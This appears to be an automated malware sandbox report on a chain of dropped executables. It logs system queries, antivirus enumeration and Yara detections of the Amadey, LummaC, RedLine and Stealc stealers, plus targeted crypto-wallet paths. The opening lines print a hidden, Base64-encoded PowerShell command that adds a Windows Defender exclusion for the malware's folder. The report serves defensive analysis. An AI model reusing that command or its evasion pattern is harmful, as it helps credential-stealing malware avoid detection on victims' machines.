Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden -encodedcommand qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaccaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwabgboagoanaazagoacgb4ahoaygbsae8asgbyafeatqboaekauqanaa==
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden -encodedcommand qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaccaqwa6afwavqbzaguacgbzafwadabpag4ayqbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwabgboagoanaazagoacgb4ahoaygbsae8asgbyafeatqboaekauqanaa==

Source: Sale.com, 0000001B.00000002.3894537448.0000000000C63000.00000002.00000001.01000000.00000010.sdmp, Ejaculation.16.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: axplong.exe, axplong.exe, 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: IProgram Manager
Source: ba327bb7fd.exe, 0000002A.00000002.3897630336.0000000000995000.00000040.00000001.01000000.00000013.sdmp, ba327bb7fd.exe, 0000002C.00000002.3894636277.0000000000995000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: ]-Program Manager
Source: aec9ffe5ce.exe, 0000001E.00000002.2559431138.000000000035F000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: hProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_0054D312 cpuid

4_2_0054D312

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: EnumSystemLocalesW,	8_2_00943086
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetLocaleInfoW,	8_2_009430D1
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_00943178
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00942A13
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetLocaleInfoW,	8_2_0093F21C
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetLocaleInfoW,	8_2_0094327E
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00942CFF
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: EnumSystemLocalesW,	8_2_00942C64
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: GetLocaleInfoW,	8_2_00942FB1
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: EnumSystemLocalesW,	8_2_0093F717
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: EnumSystemLocalesW,	8_2_00942F52
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	10_2_00162046
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: EnumSystemLocalesW,	10_2_001622E8
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: EnumSystemLocalesW,	10_2_00162333
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: EnumSystemLocalesW,	10_2_001583DC
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: EnumSystemLocalesW,	10_2_001623CE
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00162459
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetLocaleInfoW,	10_2_001626AC
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_001627D2
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetLocaleInfoW,	10_2_001628D8
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetLocaleInfoW,	10_2_001588FE
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_001629A7
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	11_2_007C2046
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: EnumSystemLocalesW,	11_2_007C22E8
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: EnumSystemLocalesW,	11_2_007C2333
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: EnumSystemLocalesW,	11_2_007B83DC
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: EnumSystemLocalesW,	11_2_007C23CE
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_007C2459
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetLocaleInfoW,	11_2_007C26AC
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_007C27D2
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetLocaleInfoW,	11_2_007B88FE
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetLocaleInfoW,	11_2_007C28D8
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_007C29A7

Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021119001\c12f8f2854.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021119001\c12f8f2854.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021124001\7385f65012.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021124001\7385f65012.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021126001\9c3c41d9d5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1021126001\9c3c41d9d5.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_0054CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

4_2_0054CB1A

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

10_2_001261F0

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Code function: 10_2_0015E8AE _free,_free,_free,GetTimeZoneInformation,_free,

10_2_0015E8AE

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Code function: 10_2_001293D0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

10_2_001293D0

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.38.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: legs.exe, 0000000C.00000002.2258896329.0000000000731000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2142051380.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 10.0.am209.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.am209.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.defnur.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.defnur.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.defnur.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.defnur.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.fkawMJ7FH8.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.axplong.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.skotes.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aec9ffe5ce.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2558773552.0000000000131000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1848493661.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1414576458.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1455461055.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1453967933.0000000005010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1494297812.0000000000531000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3894652256.0000000000D91000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: legs.exe PID: 5852, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcd6568.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcd6568.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcfe590.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50dcfe590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.I0XmI2t.exe.2b50d812478.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000002.3802638122.000002B50DD4E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3802638122.000002B50DCD6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3800987221.000002B50D803000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 23.0.daw21.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.daw21.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.3894349652.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000CA2000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000C87000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000CDD000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3892973302.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2544121223.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2435620899.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3895043155.00000000007F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3108989966.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.2142580380.0000000000BAB000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2245904915.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3113602014.0000000000BCB000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: daw21.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: legs.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: legs.exe	String found in binary or memory: Wallets/ElectronCash
Source: legs.exe	String found in binary or memory: window-state.json
Source: legs.exe, 0000000C.00000003.2067212850.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyt
Source: legs.exe	String found in binary or memory: ExodusWeb3
Source: legs.exe	String found in binary or memory: Wallets/Ethereum
Source: legs.exe, 0000000C.00000003.2103824864.00000000007A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
